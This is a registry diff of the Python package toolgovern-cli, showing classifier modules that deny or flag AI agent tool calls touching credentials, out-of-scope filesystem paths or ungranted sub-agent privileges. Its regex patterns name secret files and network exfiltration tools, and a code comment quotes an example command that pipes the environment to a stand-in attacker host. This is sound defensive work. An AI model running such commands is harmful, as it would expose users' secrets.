toolgovern-cli 0.1.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (36) hide show
  1. toolgovern/__init__.py +222 -0
  2. toolgovern/approval/__init__.py +25 -0
  3. toolgovern/approval/pending_registry.py +379 -0
  4. toolgovern/classifier/__init__.py +19 -0
  5. toolgovern/classifier/credential_access.py +180 -0
  6. toolgovern/classifier/cross_agent_inheritance.py +216 -0
  7. toolgovern/classifier/filesystem_scope.py +202 -0
  8. toolgovern/classifier/index.py +80 -0
  9. toolgovern/classifier/information_flow.py +154 -0
  10. toolgovern/classifier/network_egress.py +289 -0
  11. toolgovern/classifier/shell_risk.py +357 -0
  12. toolgovern/classifier/util.py +259 -0
  13. toolgovern/cli.py +298 -0
  14. toolgovern/mcp_trust/__init__.py +342 -0
  15. toolgovern/middleware/__init__.py +30 -0
  16. toolgovern/middleware/idempotency_cache.py +117 -0
  17. toolgovern/middleware/on_tool_call.py +538 -0
  18. toolgovern/policy/__init__.py +10 -0
  19. toolgovern/policy/load_policy.py +41 -0
  20. toolgovern/policy/validate_policy.py +106 -0
  21. toolgovern/py.typed +0 -0
  22. toolgovern/scoping/__init__.py +13 -0
  23. toolgovern/scoping/inheritance_enforcer.py +145 -0
  24. toolgovern/scoping/scope_declaration.py +84 -0
  25. toolgovern/shared/__init__.py +0 -0
  26. toolgovern/shared/paths.py +266 -0
  27. toolgovern/trace/__init__.py +33 -0
  28. toolgovern/trace/canonical_json.py +27 -0
  29. toolgovern/trace/trace_reader.py +206 -0
  30. toolgovern/trace/trace_writer.py +247 -0
  31. toolgovern/types.py +247 -0
  32. toolgovern_cli-0.1.1.dist-info/METADATA +337 -0
  33. toolgovern_cli-0.1.1.dist-info/RECORD +36 -0
  34. toolgovern_cli-0.1.1.dist-info/WHEEL +4 -0
  35. toolgovern_cli-0.1.1.dist-info/entry_points.txt +2 -0
  36. toolgovern_cli-0.1.1.dist-info/licenses/LICENSE +202 -0
@@ -0,0 +1,180 @@
1
+ """TG04 -- Credential/Secret Access.
2
+
3
+ Ported from ``packages/toolgovern/src/classifier/credential-access.ts``.
4
+
5
+ Fires when a call reads ``.env``, ``.ssh``, ``.aws/credentials``, OS keychain entries, or dumps
6
+ the bulk process environment, and that resource is not present in the caller's declared
7
+ credential scope.
8
+ """
9
+
10
+ from __future__ import annotations
11
+
12
+ import re
13
+ from dataclasses import dataclass
14
+ from typing import Callable, List, Optional, Tuple
15
+
16
+ from ..types import RuleContext, RuleMatch
17
+ from .util import (
18
+ extract_command,
19
+ extract_credential_name,
20
+ extract_path,
21
+ is_credential_granted,
22
+ normalize_for_match,
23
+ stringify_args,
24
+ )
25
+
26
+ _CATEGORY = "TG04"
27
+
28
+
29
+ @dataclass
30
+ class _Rule:
31
+ id: str
32
+ category: str
33
+ description: str
34
+ _evaluate: Callable[[RuleContext], Optional[RuleMatch]]
35
+
36
+ def evaluate(self, ctx: RuleContext) -> Optional[RuleMatch]:
37
+ return self._evaluate(ctx)
38
+
39
+
40
+ def _match(rule_id: str, decision: str, reason: str, matched_argument: str) -> RuleMatch:
41
+ return RuleMatch(
42
+ rule_id=rule_id,
43
+ category=_CATEGORY, # type: ignore[arg-type]
44
+ decision=decision, # type: ignore[arg-type]
45
+ reason=reason,
46
+ matched_argument=matched_argument,
47
+ )
48
+
49
+
50
+ def _path_or_command_text(ctx: RuleContext) -> Tuple[Optional[str], str]:
51
+ """``text`` is normalized before pattern matching, so the same quote-splitting / $IFS /
52
+ invisible-Unicode tricks that could dodge TG01's shell patterns cannot dodge these
53
+ credential-path patterns either. ``path``, when present, is left as-is: it feeds a
54
+ declared-scope allowlist membership check, not a regex match."""
55
+ path = extract_path(ctx.args)
56
+ text = normalize_for_match(path or extract_command(ctx.args) or stringify_args(ctx.args)).lower()
57
+ return path, text
58
+
59
+
60
+ _DOTENV_PATTERN = re.compile(r"(^|[/\s])\.env(\.\w+)?\b")
61
+
62
+
63
+ def _dotenv_access_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
64
+ path, text = _path_or_command_text(ctx)
65
+ found = _DOTENV_PATTERN.search(text)
66
+ if not found:
67
+ return None
68
+ identifier = path or found.group(0).strip()
69
+ if is_credential_granted(identifier, ctx.scope.credentials):
70
+ return None
71
+ return _match(
72
+ "TG04-dotenv-access",
73
+ "deny",
74
+ f'Access to ".env" file "{identifier}" not in declared credential scope.',
75
+ identifier,
76
+ )
77
+
78
+
79
+ _SSH_KEY_PATTERN = re.compile(r"\.ssh/(id_\w+|config|authorized_keys)?")
80
+
81
+
82
+ def _ssh_key_access_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
83
+ path, text = _path_or_command_text(ctx)
84
+ found = _SSH_KEY_PATTERN.search(text)
85
+ if not found:
86
+ return None
87
+ identifier = path or found.group(0)
88
+ if is_credential_granted(identifier, ctx.scope.credentials):
89
+ return None
90
+ return _match(
91
+ "TG04-ssh-key-access",
92
+ "deny",
93
+ f'Access to SSH credential material "{identifier}" not in declared credential scope.',
94
+ identifier,
95
+ )
96
+
97
+
98
+ _CLOUD_CREDENTIAL_PATTERN = re.compile(r"\.(aws/(credentials|config)|gcp/[\w.-]+|azure/[\w.-]+|kube/config)")
99
+
100
+
101
+ def _cloud_credential_file_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
102
+ path, text = _path_or_command_text(ctx)
103
+ found = _CLOUD_CREDENTIAL_PATTERN.search(text)
104
+ if not found:
105
+ return None
106
+ identifier = path or found.group(0)
107
+ if is_credential_granted(identifier, ctx.scope.credentials):
108
+ return None
109
+ return _match(
110
+ "TG04-cloud-credential-file",
111
+ "deny",
112
+ f'Access to cloud credential file "{identifier}" not in declared credential scope.',
113
+ identifier,
114
+ )
115
+
116
+
117
+ _KEYCHAIN_PATTERN = re.compile(r"(security\s+find-generic-password|secret-tool\s+lookup|keytar)")
118
+
119
+
120
+ def _keychain_access_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
121
+ text = normalize_for_match(extract_command(ctx.args) or stringify_args(ctx.args)).lower()
122
+ found = _KEYCHAIN_PATTERN.search(text)
123
+ if not found:
124
+ return None
125
+ return _match(
126
+ "TG04-keychain-access", "deny", "Access to OS keychain/secret-store credential material.", found.group(0)
127
+ )
128
+
129
+
130
+ # Previously anchored to the *entire* command string (^...$), which only caught a bare
131
+ # env/printenv/export -p invocation with nothing else in the call at all -- `env | nc
132
+ # attacker.com 4444` or `env > /tmp/leak.txt` (piping/redirecting the dump to the actual
133
+ # exfiltration sink) never matched, since anything trailing the command broke the $ anchor.
134
+ # This now looks for the dump command as a standalone command word (preceded by the start of
135
+ # the text or a shell separator) followed by either: nothing/a command separator (a bare
136
+ # dump), a >/>> redirect (dump to a file), or a pipe into a network/exfil-capable tool (dump
137
+ # straight out over the network) -- but deliberately NOT a pipe into an ordinary text filter
138
+ # (`env | grep PATH`, `printenv | sort`), which is a legitimate narrowed lookup, not a bulk
139
+ # unfiltered dump, and must stay unflagged.
140
+ _BULK_ENV_DUMP_PATTERN = re.compile(
141
+ r"(?:^|[;&|`]|\$\()\s*(env|printenv|export\s+-p)\s*"
142
+ r"(?:$|[;&`]|\n|>|\|\s*(?:nc|ncat|curl|wget|ssh|scp|socat|telnet|ftp)\b)"
143
+ )
144
+
145
+
146
+ def _bulk_env_dump_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
147
+ text = normalize_for_match(extract_command(ctx.args) or "").lower().strip()
148
+ found = _BULK_ENV_DUMP_PATTERN.search(text)
149
+ if not found:
150
+ return None
151
+ return _match(
152
+ "TG04-bulk-env-dump",
153
+ "require-approval",
154
+ "Bulk, unfiltered process-environment dump.",
155
+ found.group(1) or found.group(0),
156
+ )
157
+
158
+
159
+ def _credential_name_not_in_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
160
+ name = extract_credential_name(ctx.args)
161
+ if not name:
162
+ return None
163
+ if is_credential_granted(name, ctx.scope.credentials):
164
+ return None
165
+ return _match(
166
+ "TG04-credential-name-not-in-scope",
167
+ "deny",
168
+ f'Credential "{name}" is not in the declared credential scope.',
169
+ name,
170
+ )
171
+
172
+
173
+ credential_access_rules: List[_Rule] = [
174
+ _Rule("TG04-dotenv-access", _CATEGORY, "Access to a .env-style file outside the declared credential scope.", _dotenv_access_evaluate),
175
+ _Rule("TG04-ssh-key-access", _CATEGORY, "Access to a private SSH key or the .ssh directory.", _ssh_key_access_evaluate),
176
+ _Rule("TG04-cloud-credential-file", _CATEGORY, "Access to a cloud provider credential/config file.", _cloud_credential_file_evaluate),
177
+ _Rule("TG04-keychain-access", _CATEGORY, "Access to an OS-level keychain/secret store.", _keychain_access_evaluate),
178
+ _Rule("TG04-bulk-env-dump", _CATEGORY, "Unfiltered dump of the full process environment.", _bulk_env_dump_evaluate),
179
+ _Rule("TG04-credential-name-not-in-scope", _CATEGORY, "An explicitly named credential/secret argument is not in the declared scope.", _credential_name_not_in_scope_evaluate),
180
+ ]
@@ -0,0 +1,216 @@
1
+ """TG05 -- Cross-Agent Privilege Inheritance.
2
+
3
+ Ported from ``packages/toolgovern/src/classifier/cross-agent-inheritance.ts``.
4
+
5
+ A sub-agent's own declared scope is not what governs it -- what its coordinator actually granted
6
+ at spawn time is. These rules compare the call's target resource against the ``ScopeRegistry``
7
+ record for the calling agent: ``requested_scope`` (what the sub-agent itself declares) versus
8
+ ``granted_scope`` (what the coordinator's own scope actually allowed after default-deny
9
+ inheritance). A call that would be permitted under ``requested_scope`` but falls outside
10
+ ``granted_scope`` is a privilege-inheritance violation, even if it looks fine in isolation.
11
+ """
12
+
13
+ from __future__ import annotations
14
+
15
+ from dataclasses import dataclass
16
+ from typing import Callable, List, Optional
17
+
18
+ from ..shared.paths import credential_matches_granted, host_matches_allowed, is_path_within
19
+ from ..scoping.inheritance_enforcer import has_zero_capability
20
+ from ..types import RuleContext, RuleMatch
21
+ from .util import extract_candidate_host, extract_credential_identifier, extract_path
22
+
23
+ _CATEGORY = "TG05"
24
+
25
+
26
+ @dataclass
27
+ class _Rule:
28
+ id: str
29
+ category: str
30
+ description: str
31
+ _evaluate: Callable[[RuleContext], Optional[RuleMatch]]
32
+
33
+ def evaluate(self, ctx: RuleContext) -> Optional[RuleMatch]:
34
+ return self._evaluate(ctx)
35
+
36
+
37
+ def _match(rule_id: str, decision: str, reason: str, matched_argument: str) -> RuleMatch:
38
+ return RuleMatch(
39
+ rule_id=rule_id,
40
+ category=_CATEGORY, # type: ignore[arg-type]
41
+ decision=decision, # type: ignore[arg-type]
42
+ reason=reason,
43
+ matched_argument=matched_argument,
44
+ )
45
+
46
+
47
+ def _is_network_covered(host: str, network) -> bool:
48
+ if network is True:
49
+ return True
50
+ if network is False:
51
+ return False
52
+ return any(host_matches_allowed(host, allowed) for allowed in network)
53
+
54
+
55
+ def _unregistered_sub_agent_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
56
+ if not ctx.coordinator_id:
57
+ return None
58
+ if not ctx.scope_registry:
59
+ return None
60
+ record = ctx.scope_registry.get_record(ctx.agent_id)
61
+ if record:
62
+ return None
63
+ return _match(
64
+ "TG05-unregistered-sub-agent",
65
+ "deny",
66
+ f'Agent "{ctx.agent_id}" declares coordinator "{ctx.coordinator_id}" but has no registered scope grant.',
67
+ ctx.agent_id,
68
+ )
69
+
70
+
71
+ def _zero_capability_sub_agent_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
72
+ if not ctx.coordinator_id:
73
+ return None
74
+ if not ctx.scope_registry:
75
+ return None
76
+ record = ctx.scope_registry.get_record(ctx.agent_id)
77
+ if not record or not record.coordinator_id:
78
+ return None
79
+ if not has_zero_capability(record.granted_scope):
80
+ return None
81
+ return _match(
82
+ "TG05-zero-capability-sub-agent",
83
+ "deny",
84
+ f'Agent "{ctx.agent_id}" was granted zero tool capability by its coordinator "{record.coordinator_id}"; all tool calls are denied.',
85
+ ctx.agent_id,
86
+ )
87
+
88
+
89
+ def _network_exceeds_grant_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
90
+ record = ctx.scope_registry.get_record(ctx.agent_id) if ctx.scope_registry else None
91
+ if not record or not record.requested_scope:
92
+ return None
93
+ host = extract_candidate_host(ctx.args)
94
+ if not host:
95
+ return None
96
+ requested_covers = _is_network_covered(host, record.requested_scope.network)
97
+ granted_covers = _is_network_covered(host, record.granted_scope.network)
98
+ if not requested_covers or granted_covers:
99
+ return None
100
+ return _match(
101
+ "TG05-network-exceeds-grant",
102
+ "deny",
103
+ f'Host "{host}" was requested by "{ctx.agent_id}" but never granted by its coordinator.',
104
+ host,
105
+ )
106
+
107
+
108
+ def _filesystem_exceeds_grant_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
109
+ record = ctx.scope_registry.get_record(ctx.agent_id) if ctx.scope_registry else None
110
+ if not record or not record.requested_scope:
111
+ return None
112
+ path = extract_path(ctx.args)
113
+ if not path:
114
+ return None
115
+ requested_covers = any(is_path_within(path, prefix) for prefix in record.requested_scope.filesystem)
116
+ granted_covers = any(is_path_within(path, prefix) for prefix in record.granted_scope.filesystem)
117
+ if not requested_covers or granted_covers:
118
+ return None
119
+ return _match(
120
+ "TG05-filesystem-exceeds-grant",
121
+ "deny",
122
+ f'Path "{path}" was requested by "{ctx.agent_id}" but never granted by its coordinator.',
123
+ path,
124
+ )
125
+
126
+
127
+ def _credential_exceeds_grant_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
128
+ record = ctx.scope_registry.get_record(ctx.agent_id) if ctx.scope_registry else None
129
+ if not record or not record.requested_scope:
130
+ return None
131
+ identifier = extract_credential_identifier(ctx.args)
132
+ if not identifier:
133
+ return None
134
+ requested_covers = any(
135
+ credential_matches_granted(identifier, c) for c in record.requested_scope.credentials
136
+ )
137
+ granted_covers = any(credential_matches_granted(identifier, c) for c in record.granted_scope.credentials)
138
+ if not requested_covers or granted_covers:
139
+ return None
140
+ return _match(
141
+ "TG05-credential-exceeds-grant",
142
+ "deny",
143
+ f'Credential "{identifier}" was requested by "{ctx.agent_id}" but never granted by its coordinator.',
144
+ identifier,
145
+ )
146
+
147
+
148
+ def _coordinator_scope_shrunk_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
149
+ record = ctx.scope_registry.get_record(ctx.agent_id) if ctx.scope_registry else None
150
+ if not record or not record.coordinator_id or not ctx.scope_registry:
151
+ return None
152
+ coordinator_record = ctx.scope_registry.get_record(record.coordinator_id)
153
+ if not coordinator_record:
154
+ return None
155
+
156
+ path = extract_path(ctx.args)
157
+ host = extract_candidate_host(ctx.args)
158
+ identifier = extract_credential_identifier(ctx.args)
159
+
160
+ if path:
161
+ still_granted_by_self = any(is_path_within(path, p) for p in record.granted_scope.filesystem)
162
+ coordinator_still_has_it = any(
163
+ is_path_within(path, p) for p in coordinator_record.granted_scope.filesystem
164
+ )
165
+ if still_granted_by_self and not coordinator_still_has_it:
166
+ return _match(
167
+ "TG05-coordinator-scope-shrunk",
168
+ "deny",
169
+ f'Coordinator "{record.coordinator_id}" no longer covers path "{path}" it previously granted to "{ctx.agent_id}".',
170
+ path,
171
+ )
172
+ if host:
173
+ still_granted_by_self = _is_network_covered(host, record.granted_scope.network)
174
+ coordinator_still_has_it = _is_network_covered(host, coordinator_record.granted_scope.network)
175
+ if still_granted_by_self and not coordinator_still_has_it:
176
+ return _match(
177
+ "TG05-coordinator-scope-shrunk",
178
+ "deny",
179
+ f'Coordinator "{record.coordinator_id}" no longer covers host "{host}" it previously granted to "{ctx.agent_id}".',
180
+ host,
181
+ )
182
+ if identifier:
183
+ still_granted_by_self = any(
184
+ credential_matches_granted(identifier, c) for c in record.granted_scope.credentials
185
+ )
186
+ coordinator_still_has_it = any(
187
+ credential_matches_granted(identifier, c) for c in coordinator_record.granted_scope.credentials
188
+ )
189
+ if still_granted_by_self and not coordinator_still_has_it:
190
+ return _match(
191
+ "TG05-coordinator-scope-shrunk",
192
+ "deny",
193
+ f'Coordinator "{record.coordinator_id}" no longer covers credential "{identifier}" it previously granted to "{ctx.agent_id}".',
194
+ identifier,
195
+ )
196
+ return None
197
+
198
+
199
+ cross_agent_inheritance_rules: List[_Rule] = [
200
+ _Rule("TG05-unregistered-sub-agent", _CATEGORY, "A call arrives from a sub-agent with no verifiable spawn-time grant on record.", _unregistered_sub_agent_evaluate),
201
+ _Rule(
202
+ "TG05-zero-capability-sub-agent",
203
+ _CATEGORY,
204
+ "A sub-agent whose coordinator granted it zero capability at all attempts a tool call. Denied outright.",
205
+ _zero_capability_sub_agent_evaluate,
206
+ ),
207
+ _Rule("TG05-network-exceeds-grant", _CATEGORY, "Target host is within the agent's own request but outside what its coordinator granted.", _network_exceeds_grant_evaluate),
208
+ _Rule("TG05-filesystem-exceeds-grant", _CATEGORY, "Target path is within the agent's own request but outside what its coordinator granted.", _filesystem_exceeds_grant_evaluate),
209
+ _Rule("TG05-credential-exceeds-grant", _CATEGORY, "Target credential is within the agent's own request but outside what its coordinator granted.", _credential_exceeds_grant_evaluate),
210
+ _Rule(
211
+ "TG05-coordinator-scope-shrunk",
212
+ _CATEGORY,
213
+ "The coordinator's own current scope no longer covers what it granted this sub-agent at spawn time.",
214
+ _coordinator_scope_shrunk_evaluate,
215
+ ),
216
+ ]
@@ -0,0 +1,202 @@
1
+ """TG02 -- Filesystem Scope Escalation.
2
+
3
+ Ported from ``packages/toolgovern/src/classifier/filesystem-scope.ts``.
4
+
5
+ Fires when a call attempts a write, delete, or permission change outside the caller's declared
6
+ filesystem scope (``scope.filesystem``, a list of allowed path prefixes), or targets a small set
7
+ of sensitive absolute system directories regardless of scope.
8
+ """
9
+
10
+ from __future__ import annotations
11
+
12
+ from dataclasses import dataclass
13
+ from typing import Callable, List, Optional, Sequence
14
+
15
+ from ..types import RuleContext, RuleMatch
16
+ from .util import (
17
+ contains_path_traversal,
18
+ extract_operation,
19
+ extract_path,
20
+ is_credential_granted,
21
+ is_path_within,
22
+ normalize_for_match,
23
+ )
24
+
25
+ _CATEGORY = "TG02"
26
+
27
+ _WRITE_OPS = {"write", "create", "append", "put", "save"}
28
+ _DELETE_OPS = {"delete", "remove", "unlink", "rm", "rmdir"}
29
+ _CHMOD_OPS = {"chmod", "chown", "setpermissions", "set_permissions"}
30
+ _READ_OPS = {"read", "get", "load", "fetch", "cat", "open"}
31
+ _SENSITIVE_SYSTEM_PREFIXES = ["/etc", "/usr", "/bin", "/sbin", "/system", "/private/etc"]
32
+
33
+
34
+ def _extract_normalized_path(args) -> Optional[str]:
35
+ """Extracts a call's path argument and runs it through the same obfuscation-normalization
36
+ pass TG01/TG03/TG04 already apply, so a path cannot dodge a scope or sensitive-prefix check
37
+ by smuggling in a formatting character a literal/prefix comparison wouldn't see."""
38
+ raw = extract_path(args)
39
+ return normalize_for_match(raw) if raw else None
40
+
41
+
42
+ def _is_within_scope(path: str, filesystem: Sequence[str]) -> bool:
43
+ if len(filesystem) == 0:
44
+ return False
45
+ return any(is_path_within(path, prefix) for prefix in filesystem)
46
+
47
+
48
+ @dataclass
49
+ class _Rule:
50
+ id: str
51
+ category: str
52
+ description: str
53
+ _evaluate: Callable[[RuleContext], Optional[RuleMatch]]
54
+
55
+ def evaluate(self, ctx: RuleContext) -> Optional[RuleMatch]:
56
+ return self._evaluate(ctx)
57
+
58
+
59
+ def _match(rule_id: str, decision: str, reason: str, matched_argument: str) -> RuleMatch:
60
+ return RuleMatch(
61
+ rule_id=rule_id,
62
+ category=_CATEGORY, # type: ignore[arg-type]
63
+ decision=decision, # type: ignore[arg-type]
64
+ reason=reason,
65
+ matched_argument=matched_argument,
66
+ )
67
+
68
+
69
+ def _write_outside_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
70
+ path = _extract_normalized_path(ctx.args)
71
+ if not path:
72
+ return None
73
+ op = extract_operation(ctx.args) or ("write" if "write" in ctx.tool.lower() else "")
74
+ if op not in _WRITE_OPS:
75
+ return None
76
+ if _is_within_scope(path, ctx.scope.filesystem):
77
+ return None
78
+ return _match(
79
+ "TG02-write-outside-scope",
80
+ "require-approval",
81
+ f'Write target "{path}" is outside the declared filesystem scope.',
82
+ path,
83
+ )
84
+
85
+
86
+ def _delete_outside_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
87
+ path = _extract_normalized_path(ctx.args)
88
+ if not path:
89
+ return None
90
+ op = extract_operation(ctx.args) or ("delete" if "delete" in ctx.tool.lower() else "")
91
+ if op not in _DELETE_OPS:
92
+ return None
93
+ if _is_within_scope(path, ctx.scope.filesystem):
94
+ return None
95
+ return _match(
96
+ "TG02-delete-outside-scope",
97
+ "deny",
98
+ f'Delete target "{path}" is outside the declared filesystem scope.',
99
+ path,
100
+ )
101
+
102
+
103
+ def _chmod_outside_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
104
+ path = _extract_normalized_path(ctx.args)
105
+ if not path:
106
+ return None
107
+ op = extract_operation(ctx.args)
108
+ if not op or op not in _CHMOD_OPS:
109
+ return None
110
+ if _is_within_scope(path, ctx.scope.filesystem):
111
+ return None
112
+ return _match(
113
+ "TG02-chmod-outside-scope",
114
+ "deny",
115
+ f'Permission change on "{path}" is outside the declared filesystem scope.',
116
+ path,
117
+ )
118
+
119
+
120
+ def _read_outside_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
121
+ path = _extract_normalized_path(ctx.args)
122
+ if not path:
123
+ return None
124
+ op = extract_operation(ctx.args) or ("read" if "read" in ctx.tool.lower() else "")
125
+ if op not in _READ_OPS:
126
+ return None
127
+ if _is_within_scope(path, ctx.scope.filesystem):
128
+ return None
129
+ if is_credential_granted(path, ctx.scope.credentials):
130
+ return None
131
+ return _match(
132
+ "TG02-read-outside-scope",
133
+ "require-approval",
134
+ f'Read target "{path}" is outside the declared filesystem scope.',
135
+ path,
136
+ )
137
+
138
+
139
+ def _path_traversal_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
140
+ path = _extract_normalized_path(ctx.args)
141
+ if not path:
142
+ return None
143
+ if not contains_path_traversal(path):
144
+ return None
145
+ return _match(
146
+ "TG02-path-traversal", "deny", f'Path "{path}" contains traversal segments ("..").', path
147
+ )
148
+
149
+
150
+ def _symlink_escape_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
151
+ op = extract_operation(ctx.args) or ""
152
+ if "symlink" not in op and "link" not in op:
153
+ return None
154
+ path = _extract_normalized_path(ctx.args)
155
+ if not path:
156
+ return None
157
+ if _is_within_scope(path, ctx.scope.filesystem):
158
+ return None
159
+ return _match(
160
+ "TG02-symlink-escape",
161
+ "deny",
162
+ f'Symlink target "{path}" is outside the declared filesystem scope.',
163
+ path,
164
+ )
165
+
166
+
167
+ def _sensitive_system_path_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
168
+ path = _extract_normalized_path(ctx.args)
169
+ if not path:
170
+ return None
171
+ op = extract_operation(ctx.args) or ""
172
+ if op not in _WRITE_OPS and op not in _DELETE_OPS and op not in _CHMOD_OPS:
173
+ return None
174
+ # Case-insensitive, same as the original raw-prefix check this replaces -- every entry in
175
+ # SENSITIVE_SYSTEM_PREFIXES is already lowercase.
176
+ lower = path.lower()
177
+ hit = next((p for p in _SENSITIVE_SYSTEM_PREFIXES if is_path_within(lower, p)), None)
178
+ if not hit:
179
+ return None
180
+ return _match(
181
+ "TG02-sensitive-system-path",
182
+ "deny",
183
+ f'Target "{path}" is under a sensitive system directory ({hit}).',
184
+ path,
185
+ )
186
+
187
+
188
+ filesystem_scope_rules: List[_Rule] = [
189
+ _Rule("TG02-write-outside-scope", _CATEGORY, "A write/create targets a path outside the declared filesystem scope.", _write_outside_scope_evaluate),
190
+ _Rule("TG02-delete-outside-scope", _CATEGORY, "A delete targets a path outside the declared filesystem scope.", _delete_outside_scope_evaluate),
191
+ _Rule("TG02-chmod-outside-scope", _CATEGORY, "A permission change targets a path outside the declared filesystem scope.", _chmod_outside_scope_evaluate),
192
+ _Rule(
193
+ "TG02-read-outside-scope",
194
+ _CATEGORY,
195
+ "A read targets a path outside the caller's declared filesystem scope. An explicitly "
196
+ "granted credential path (scope.credentials) is not flagged here.",
197
+ _read_outside_scope_evaluate,
198
+ ),
199
+ _Rule("TG02-path-traversal", _CATEGORY, 'A path uses ".." segments that could escape a scoped prefix.', _path_traversal_evaluate),
200
+ _Rule("TG02-symlink-escape", _CATEGORY, "A symlink/link operation targets a path outside the declared filesystem scope.", _symlink_escape_evaluate),
201
+ _Rule("TG02-sensitive-system-path", _CATEGORY, "A write/delete targets a sensitive absolute system directory.", _sensitive_system_path_evaluate),
202
+ ]
@@ -0,0 +1,80 @@
1
+ """The classifier: runs every rule in the TG01-TG05 pack against one normalized call context
2
+ and aggregates the result.
3
+
4
+ Ported from ``packages/toolgovern/src/classifier/index.ts``.
5
+
6
+ Decision severity order is ``deny`` > ``require-approval`` > ``allow`` -- if any rule denies,
7
+ the call is denied, no matter how many other rules would have allowed it.
8
+
9
+ Every non-allow decision is traceable to the specific rule ID(s) that fired and the argument
10
+ that tripped each one. There is no unexplained black-box denial in this classifier: if
11
+ ``fired_rules`` is empty, the decision is (and can only be) ``allow``.
12
+ """
13
+
14
+ from __future__ import annotations
15
+
16
+ import dataclasses
17
+ from dataclasses import dataclass, field
18
+ from typing import List, Sequence
19
+
20
+ from ..types import ClassifierResult, Decision, RuleContext, RuleMatch
21
+ from .credential_access import credential_access_rules
22
+ from .cross_agent_inheritance import cross_agent_inheritance_rules
23
+ from .filesystem_scope import filesystem_scope_rules
24
+ from .information_flow import information_flow_rules
25
+ from .network_egress import network_egress_rules
26
+ from .shell_risk import shell_risk_rules
27
+
28
+ rule_registry = [
29
+ *shell_risk_rules,
30
+ *filesystem_scope_rules,
31
+ *network_egress_rules,
32
+ *credential_access_rules,
33
+ *cross_agent_inheritance_rules,
34
+ *information_flow_rules,
35
+ ]
36
+
37
+
38
+ @dataclass(frozen=True)
39
+ class ClassifyOptions:
40
+ """Options for ``classify()``."""
41
+
42
+ disabled_rules: Sequence[str] = field(default_factory=tuple)
43
+ """Rule IDs to skip entirely regardless of arguments (from Policy.rules.disable)."""
44
+ downgrade_to_approval: Sequence[str] = field(default_factory=tuple)
45
+ """Rule IDs whose deny verdict should be downgraded to require-approval
46
+ (from Policy.rules.require_approval)."""
47
+
48
+
49
+ def _severity(decision: Decision) -> int:
50
+ if decision == "deny":
51
+ return 2
52
+ if decision == "require-approval":
53
+ return 1
54
+ return 0
55
+
56
+
57
+ def classify(ctx: RuleContext, options: ClassifyOptions = None) -> ClassifierResult:
58
+ """Evaluates one tool call against every enabled rule and returns the aggregate verdict."""
59
+ options = options or ClassifyOptions()
60
+ disabled = set(options.disabled_rules)
61
+ downgrade = set(options.downgrade_to_approval)
62
+
63
+ fired_rules: List[RuleMatch] = []
64
+ for rule in rule_registry:
65
+ if rule.id in disabled:
66
+ continue
67
+ result = rule.evaluate(ctx)
68
+ if not result:
69
+ continue
70
+ if result.decision == "deny" and result.rule_id in downgrade:
71
+ fired_rules.append(dataclasses.replace(result, decision="require-approval"))
72
+ else:
73
+ fired_rules.append(result)
74
+
75
+ decision: Decision = "allow"
76
+ for r in fired_rules:
77
+ if _severity(r.decision) > _severity(decision):
78
+ decision = r.decision
79
+
80
+ return ClassifierResult(decision=decision, fired_rules=fired_rules)